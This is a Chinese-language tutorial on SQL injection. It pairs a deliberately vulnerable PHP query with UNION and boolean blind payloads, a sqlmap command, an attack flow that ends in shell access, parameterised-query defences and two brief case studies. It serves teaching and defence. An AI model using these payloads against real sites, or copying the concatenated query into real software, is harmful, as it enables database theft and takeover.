SQL注入(SQL Injection)是最常见且危害最大的Web安全漏洞之一,攻击者通过在应用程序的输入字段中注入恶意SQL代码, 操纵后台数据库执行非预期的命令,从而实现数据窃取、篡改甚至完全控制数据库服务器。
OWASP Top 10
SQL注入长期位列OWASP Top 10安全风险榜单,2021年排名第三(A03:2021 – Injection)。据统计,全球超过65%的Web应用存在SQL注入风险。
一、SQL注入原理
SQL注入的根本原因是应用程序在构造SQL查询时,未对用户输入进行充分验证和过滤,导致攻击者可以闭合原有SQL语句,并注入自己的恶意代码。
1.1 脆弱代码示例
// PHP脆弱代码示例
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);
// 当用户输入: 1' OR '1'='1
// 实际执行的SQL: SELECT * FROM users WHERE id = '1' OR '1'='1'
// 结果: 返回所有用户数据!
二、SQL注入类型
2.1 Union注入
Union注入是最直接有效的注入方式,通过UNION操作符将恶意查询与原始查询结合,直接获取数据库数据。
// 判断字段数
?id=1' ORDER BY 3--+
// 联合查询获取数据
?id=-1' UNION SELECT 1,database(),version()--+
// 获取表名
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
2.2 布尔盲注
当应用不回显查询结果,但会根据查询真假返回不同响应时,可使用布尔盲注逐字符猜解数据。
// 判断数据库名长度
?id=1' AND LENGTH(database())=8--+
// 逐字符猜解(二分法)
?id=1' AND ASCII(SUBSTRING(database(),1,1))>100--+
?id=1' AND ASCII(SUBSTRING(database(),1,1))>110--+
// 重复直到确定每个字符
三、攻击流程
1
信息收集
识别注入点
判断数据库类型
2
漏洞验证
测试注入语法
确认可利用性
3
数据提取
获取数据库结构
提取敏感数据
4
权限提升
尝试文件读写
获取Shell
四、常用工具
SQLMap
自动化SQL注入工具,支持多种数据库和注入技术,功能强大且易用
sqlmap -u "url" --batch --dbs
Burp Suite
抓包改包神器,配合Intruder模块可进行自定义注入测试
手工注入
掌握手工注入技巧是渗透测试的基本功,可绕过WAF和自动化工具限制
五、防御措施
最佳实践
- 使用参数化查询:预编译SQL语句,彻底分离代码与数据
- 输入验证与过滤:白名单验证、转义特殊字符
- 最小权限原则:限制数据库账户权限,禁用危险函数
- 错误信息处理:不向用户显示详细的数据库错误
- 使用WAF:部署Web应用防火墙进行实时防护
5.1 安全代码示例
// PDO参数化查询(推荐)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
// MySQLi预处理语句
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
六、实战案例
💼
某电商平台SQL注入案例
通过商品搜索功能的参数注入,成功获取20万用户信息,包括加密密码、手机号等敏感数据。攻击者利用Union注入在3小时内完成数据窃取。
🏦
金融系统二次注入
攻击者在注册时提交恶意用户名,系统虽对输入进行了过滤,但在后续密码重置功能中直接从数据库读取用户名拼接SQL,触发二次注入,最终获取管理员权限。